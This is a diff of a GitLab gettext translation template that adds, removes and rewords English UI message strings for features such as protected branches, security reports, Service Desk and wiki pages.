@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
